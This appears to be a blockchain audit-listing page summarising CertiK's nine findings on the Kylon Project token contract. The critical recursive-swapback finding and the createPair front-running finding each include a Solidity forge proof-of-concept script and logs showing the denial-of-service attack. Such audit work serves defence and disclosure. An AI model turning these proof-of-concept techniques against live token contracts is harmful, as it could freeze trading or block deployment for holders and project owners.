Kylon

CertiK1 address on BNB Chain

CertiK reviewed Kylon Project (Kylon) on 20 Jan 2023: 9 findings, 1 critical; 7 marked fixed, 1 acknowledged, 1 open.

1 critical finding, fixed
Open the reportOpen Kylon Project’s security record

Report hosted on skynet.certik.com.

Trustblock does not review code.

Findings9

Statuses are the security firm’s own, from its report.

SeverityOpenAcknowledgedFixed
Critical001
High011
Medium000
Low105
CriticalRecursive swapback causing Denial of Service.Fixed

The function `_transfer()` implements a charge fee mechanism and a swapback scheme. However, the swapback logic has a faulty implementation leading to a denial of service. **[Exploit Scenario]** Suppose the contract `KylonToken` has **reached** the `swapThreshold` (here for demonstration purposes, the value will be 10 tokens). - Suppose Bob (a holder of `KylonToken`) will try to sell some `KylonToken` using the `PancakeSwapV2Router`. - But the `_transfer()` function will call the `_swapback()` but doesn't check if it was already called in the same transaction. - This will result to: `_transfer()` will call `_swapback()` and `_swapback()` will call `_transfer()` in an infinite loop causing a Denial Of Service. **[Proof of Concept & Results]** Below are the results of the proof of concept made by the auditors. ```bash │ │ └─ ← "TransferHelper: TRANSFER_FROM_FAILED" │ └─ ← "TransferHelper: TRANSFER_FROM_FAILED" └─ ← "TransferHelper: TRANSFER_FROM_FAILED" The Result has been truncated at only 3 loops. ``` Below, is the code used with the *forge framework* to reproduce the Denial of Service attack. ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import "forge-std/Test.sol"; import "src/token.sol"; contract CounterScript is Script, Test { function setUp() public {} function run() public { address ctf = 0x000000000001E5Dd53Ae5FB3C297341deBb1e699; KylonToken T = new KylonToken(); emit log_string(" ----------------------- Attack Timeline ----------------------------------"); emit log_named_uint("My Balance", T.balanceOf(address(this)) / 1 ether); emit log_named_uint("Balance of CTF ", T.balanceOf(ctf) / 1 ether); //T.transfer(ctf, 100 * 10**18); KylonToken.Wallet memory w = KylonToken.Wallet("marketing", address(0xdead)); KylonToken.Wallet memory w2 = KylonToken.Wallet("charity", address(0xdead)); T.setWallets(w); T.setWallets(w2); T.initializeProject(); T.approve(address(T.PancakeSwapV2Router()), type(uint256).max); T.PancakeSwapV2Router().addLiquidityETH{ value: 10 ether }(address(T), 10, 0, 0, address(this), block.timestamp); T.setSwapBackSettings(true, 10); T.enableTrading(); T.transfer(ctf, 100 * 10**18); T.transfer(address(T), 15 * 10**18); emit log_string(" ---------------------------------------------------------"); emit log_named_uint("My Balance", T.balanceOf(address(this)) / 1 ether); emit log_named_uint("Balance of CTF", T.balanceOf(ctf) / 1 ether); emit log_string(" ---------------------------------------------------------"); vm.startPrank(ctf); T.transfer(T.PancakeSwapV2Pair(), 100 * 10**18); vm.stopPrank(); } } ```

HighCentralization Related RisksFixed

In the contract `KylonToken` the role `_owner` has authority over the functions shown in the diagram below. - `initializeProject()` : Initialize the project and create a liquidity pool using the token. - `disableDumpProtection()` : Disable the fees when someone sells before the `endingTime`. - `removeSniperTax()` : Disable the SniperTax. - `enableTrading()` : Enable the token transfer of the contract. - `triggerSwapBack()` : Make a swap using the `liquidityPool` with the token held by the contract. - `recoverBNB()` : Withdraw the BNB held by the contract. - `recoverBEP20()` : Withdraw the BEP20 tokens held by the contract. - `setIsWhitelisted()` : Whitelist an address to avoid the fees. - `setIsCEX()` : Set an address as a CEX (used for the fees mechanism). - `setIsMarketMaker()` : Set an address as a MarketMaker (used for the fees mechanism). - `setTaxes()` : Set the fees for the project. - `setShares()` : Set the share for the project. - `setSwapBackSettings()` : Set the threshold for the swapback function. - `setTransferGas()` : Set the amount of gas used during the `call` of others contract. - `setWallet ()` : Set an address as a wallet and whitelist it from the fees. Any compromise to the `_owner` account may allow the hacker to take advantage of this authority and Set new taxes or withdraw the token held by the contract. --- In the contract `Ownable` the role `_owner` has authority over the functions shown in the diagram below. - `transferOwnership()`: Transfer the ownership to another address. - `renounceOwnership()`: Transfer the ownership to the `address(0)`. Any compromise to the `_owner` account may allow the hacker to take advantage of this authority and transfer the ownership to someone else.

LowDivide Before MultiplyFixed

Performing integer division before multiplication truncates the low bits, losing the precision of the calculation. Here, if the `remainingTime` is less than *7 days* then the integer division will return *0*. This will bypass the additional fees normally requested, so the fees will be equal to `sellTax`. ```solidity=152 return sellTax.add(sellTax.mul(remainingTime / 7 days)); ```

LowNo Upper Limit for theSharesFixed

The function `setShares()` permits to set amount of the share value for the contract. However, there is **no** upper limit for the following shares: `liquidityShare`, `marketingShare`, `charityShare`, `burnShare`.

LowPossible Denial of Service SituationFixed

The function `initializeProject()` is used to initialize all the necessary values of the project.\ The parameter `_pancakeSwapV2Pair` is also initialized during the calls of this function. ```solidity=108 IPancakeSwapV2Router02 _pancakeSwapV2Router = IPancakeSwapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); address _pancakeSwapV2Pair = IPancakeSwapV2Factory(_pancakeSwapV2Router.factory()).createPair(address(this), _pancakeSwapV2Router.WETH()); ``` The function `initializeProject()` calls the create `createPair()` function of `_pancakeSwapV2Router.factory()`. \ However, this function will *revert* if a pair is already created. Due to this, an attacker can Denial of Service the contract `KylonToken` with the following scenarios : **Exploit Scenario** 1) The attacker calls `createPair()` before the owner calls `initializeProject()`. 2) The attacker monitors the Mempool and front run the owner during the calls `initializeProject()` in the same block. **PoC & Results** ```bash == Logs == ----------------------- Attack Timeline ---------------------------------- 1. The Attacker deployed KylonToken to this address : 0xc7f2cf4845c6db0e1a1e91ed41bcd0fcc1b0e141 2. The Attacker front run the owner and create the pair before him 3. The owner cannot initialize the project. Error: Pancake: PAIR_EXISTS ``` The payload used by the auditor to **simulate** the Denial of Service attack is below: ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import "forge-std/Test.sol"; import "src/token.sol"; contract CounterScript is Script, Test { function setUp() public {} function run() public { KylonToken T = new KylonToken(); IPancakeSwapV2Router02 _pancakeSwapV2Router = IPancakeSwapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); address _pancakeSwapV2Pair = IPancakeSwapV2Factory(_pancakeSwapV2Router.factory()).createPair(address(T), _pancakeSwapV2Router.WETH()); KylonToken.Wallet memory w = KylonToken.Wallet("marketing", address(0xdead)); KylonToken.Wallet memory w2 = KylonToken.Wallet("charity", address(0xdead)); T.setWallets(w); T.setWallets(w2); T.initializeProject(); } } ```

LowUnchecked ERC-20 `transfer()`/`transferFrom()` CaFixed

The return value of the transfer()/transferFrom() call is not checked. --- ```solidity=291 token.transfer(recipient, amount); ```

LowUnnecessary Use of SafeMathFixed

The `SafeMath` library is used unnecessarily. With Solidity compiler versions 0.8.0 or newer, arithmetic operations will automatically revert in case of integer overflow or underflow. ```solidity=16 library SafeMath { ``` - An implementation of `SafeMath` library is found. --- ```solidity=23 using SafeMath for uint256; ``` - `SafeMath` library is used for `uint256` type in `KylonToken` contract. ```solidity=152 return sellTax.add(sellTax.mul(remainingTime / 7 days)); ``` - `SafeMath.mul` is called in `getDynamicSellTax` function of `KylonToken` contract.

Contracts in scope1

AddressChainSource code
0xf4465469397806cf5cc3e9bac5dd3c102ad1fe66Chain: BNB ChainSource code: Verified source

Part of Kylon Project’s security record

Kylon Project
Audits1 audit by 1 firmLast audit Jan 2023, by CertiK.
Critical findingsNo open critical findingsIn that report, 1 critical finding was reported. It is marked fixed by the firm that reported it.
Open Kylon Project’s security record

Security firm

CertiK

1,044 projects reviewed · 1,375 reports · latest May 2025

See CertiK’s audits

Something wrong on this page? A missing report, a wrong date, a finding that was fixed since. Tell us and we check it against its source.

Tell us